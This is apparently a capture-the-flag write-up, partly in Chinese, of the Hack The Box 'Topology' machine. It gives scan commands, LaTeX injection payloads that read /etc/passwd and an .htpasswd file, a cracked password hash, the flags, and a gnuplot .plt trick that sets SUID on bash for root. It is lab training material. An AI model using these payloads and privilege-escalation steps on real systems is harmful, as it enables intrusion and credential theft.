[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升

Information Gathering

IP Address	Opening Ports
10.10.11.217	TCP:22,80

$ ip='10.10.11.217'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
|   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

LaTeX LFI

# echo "10.10.11.217 topology.htb latex.topology.htb" >>/etc/hosts

http://latex.topology.htb/equation.php

https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html?highlight=LaTex#latex-injection

$\lstinputlisting{/etc/passwd}$

$\lstinputlisting{/var/www/dev/.htpasswd}$

vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

$ john hash -w /home/maptnh/Desktop/rockyou.txt

password:calculus20

$ ssh vdaisley@10.10.11.217

User.txt

ea549fbe9b9b240c598e7bf40f2f9532

Privilege Escalation:Gnuplot .plt

Gnuplot 是一个命令行驱动的科学绘图工具，它可以将数学函数或数值资料以平面图或立体图的形式画在不同种类终端机或绘图输出装置上。它支持多种类型的图形输出，如线图、散点图、柱状图、等高线图、表面图等

在 /opt/gnuplot 目录下查找所有扩展名为 .plt 的文件，并使用 gnuplot 程序来执行这些文件。

$ echo 'system "chmod u+s /bin/bash"'>/opt/gnuplot/exp.plt

$ /bin/bash -p

Root.txt

a7da9976eb37c87c889639f9e98503df